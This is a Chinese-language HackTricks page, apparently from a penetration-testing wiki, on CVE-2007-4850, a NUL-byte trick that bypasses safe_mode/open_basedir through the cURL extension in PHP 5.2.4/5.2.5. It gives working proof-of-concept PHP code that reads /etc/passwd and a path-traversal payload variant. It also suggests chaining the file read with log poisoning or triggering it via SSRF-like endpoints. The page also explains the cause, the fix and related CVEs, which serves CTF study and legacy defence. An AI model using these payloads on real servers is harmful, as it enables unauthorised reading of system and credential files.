PHP 5.2.4 和 5.2.5 PHP cURL

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

本页记录了一个遗留但在 CTFs/本地旧版安装中仍有用的技巧,利用特定 PHP 5.2.x 构建中的 cURL 扩展绕过 PHP 的 safe_mode/open_basedir 检查。

  • 影响: PHP 5.2.4 和 5.2.5,且启用了 ext/curl。
  • 影响范围: 即使在 safe_mode 或 open_basedir 限制下也能读取任意本地文件(不涉及直接代码执行)。
  • ID: CVE-2007-4850。

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

单行 PoC

如果 safe_mode 或 open_basedir 启用且 cURL 可用,下面的命令会返回当前脚本的内容:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

更明确的 PoC (arbitrary file read)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

注意:

  • 使用双引号或 chr(0) 注入真实的 NUL 字节。百分号编码 (%00) 不会可靠地工作。
  • 这是一个文件读取原语。尽可能与其他原语(log poisoning、session file inclusion 等)结合以在可行时进一步升级。

为什么这有效(简要)

漏洞出在 PHP 5.2.4/5.2.5 在 ext/curl 中对 file:// URL 执行 safe_mode/open_basedir 检查的方式。检查会解析 URL 并验证一个路径组件,但由于对 NUL 字节的处理,它验证了与 libcurl 实际使用的字符串不同的内容。实际上,验证器可能会批准 NUL 之后的路径,而 libcurl 则使用 NUL 之前的部分作为 URL 容器,从而实现绕过并导致读取放置在 NUL 字节之后的文件。详情见原始分析和 curl/interface.c 中受影响的宏。[CVE-2007-4850].

约束与修复

  • 在后续 5.2.x 中修复(例如,被打补丁到 5.2.6 的发行版构建),通过修正 ext/curl 中的解析/验证来解决。
  • 仅影响非常旧的 PHP 部署;safe_mode 在 PHP 5.4 中被移除,现代构建不会表现出此行为。

相关的历史 cURL 绕过

  • CVE-2006-2563 (PHP 4.4.2/5.1.4):libcurl 包装器允许带嵌入 NUL 的 file:// 访问以绕过 open_basedir;在 5.2.x 之前已修复。
  • PHP bugs #30609/#36223 跟踪了早期使用不进行规范化的 file:// 的 cURL open_basedir 问题。任何在 NUL 字节之前进行检查或不进行 realpath 式解析的检查都容易受到相同的截断影响。

CTF 提示

  • 当你确认 PHP 5.2.4/5.2.5 且加载了 ext/curl(在 phpinfo() 中查找 cURL support => enabled 和确切的 PHP Version)时,这个技巧通常有效,即使 allow_url_fopen 被禁用,因为 ext/curl 自行处理 file://
  • 如果直接路径被阻止,尝试在 NUL 之后使用相对遍历,例如 file://x\x00../../../../etc/passwd。遍历由 libcurl 解析,而不是由 open_basedir 守卫解析。
  • 你可以将有效载荷包装在单个 HTTP 请求体中,以通过将用户控制的 URL 镜像到 curl_exec() 的易受影响的服务器端代码触发 LFI(在遗留的类似 SSRF 的端点中常见)。

See also

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks